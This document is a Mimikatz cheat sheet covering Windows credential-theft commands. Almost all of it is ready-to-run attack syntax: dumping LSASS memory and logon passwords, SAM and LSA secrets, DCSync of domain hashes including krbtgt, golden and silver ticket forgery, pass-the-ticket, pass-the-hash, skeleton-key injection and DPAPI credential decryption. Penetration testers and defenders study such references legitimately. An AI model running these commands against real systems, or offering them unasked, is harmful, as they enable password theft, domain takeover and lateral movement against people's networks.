
Mimikatz is a widely-used post-exploitation tool designed to extract sensitive information, such as plaintext passwords, hashes, and Kerberos tickets, from system memory. It is commonly used by penetration testers and attackers to demonstrate the risks of credential theft and privilege escalation in Windows environments.
Installation and Setup
Using Precompiled Binary
- Download the release ZIP file.
- Extract it to a directory.
- Launch as Administrator by right-clicking mimikatz.exe – Run as Administrator.
Building from Source
git clone https://github.com/gentilkiwi/mimikatz.gitcd mimikatz/mimikatznmakeStarting Mimikatz
mimikatz.exemimikatz.exe "command"privilege::debugCore Commands
General Commands
help #List all available commandsexit #Quit Mimikatzlog file.txt #Log all output to a fileversion #Display Mimikatz versionPrivilege Escalation
privilege::debug #Enable debug privilegestoken::whoami #Check the current token privilegestoken::elevate #Attempt to elevate the token privilegestoken::revert #Revert to original tokenPassword and Hash Dumping
Local Credential Dumping
sekurlsa::logonpasswords #Dump credentials of logged-in userssekurlsa::credman #Retrieve saved credentials in Credential ManagerExtract NTLM Hashes
lsadump::sam #Dump hashes from the SAM databaselsadump::lsa /inject #Extract secrets from LSAlsadump::secrets #Extract stored secrets (e.g., service account passwords)Domain Controller Hash Extraction (DCSync)
lsadump::dcsync /domain:example.com /user:Administrator #Sync NTLM hash for a specific userlsadump::dcsync /all /domain:example.com #Sync all domain NTLM hasheslsadump::dcsync /domain:example.com /user:krbtgt #Extract the Kerberos TGT hashKerberos Operations
List and Export Tickets
kerberos::list #List all Kerberos ticketskerberos::list /export #Export tickets to .kirbi filesPass-the-Ticket
kerberos::ptt ticket.kirbi #Inject a Kerberos ticketGolden Ticket Creation
kerberos::golden /domain:example.com /sid:S-1-5-21... /krbtgt:<hash> /user:AdministratorSilver Ticket Creation
kerberos::golden /domain:example.com /sid:S-1-5-21... /target:SERVER /rc4:<hash> /user:UserKerberos Delegation Tickets
kerberos::golden /domain:example.com /sid:S-1-5-21... /user:Administrator /rc4:<hash> /service:krbtgtPass-the-Hash
Perform Pass-the-Hash Attack
sekurlsa::pth /user:Administrator /domain:example.com /ntlm:<hash> /run:cmd.exeCombine with PowerShell
sekurlsa::pth /user:Administrator /domain:example.com /ntlm:<hash> /run:powershell.exeDumping LSASS Memory
Live Dump
sekurlsa::logonpasswords #Extract credentials directly from memoryOffline Analysis
procdump.exe -ma lsass.exe lsass.dmpmimikatz.exe "sekurlsa::minidump lsass.dmp" "sekurlsa::logonpasswords"Generating Skeleton Keys
misc::skeleton #Inject a universal key to authenticate any domain accountCredential Extraction via DPAPI
Extract Master Keys
dpapi::masterkey /in:<file>Decrypt Credentials
dpapi::cred /in:<credential_file>dpapi::wifi /in:<wireless_profile.xml>Exporting and Logging
Export Logs
log log.txt #Save output to a fileExport Kerberos Tickets
kerberos::list /export #Save tickets to .kirbi filesAdvanced Examples and Use Cases
Extracting Service Account Passwords
lsadump::secrets /injectBypassing RunAs Restrictions
token::elevatemisc::cmdStealing Cached Credentials
sekurlsa::logonpasswords



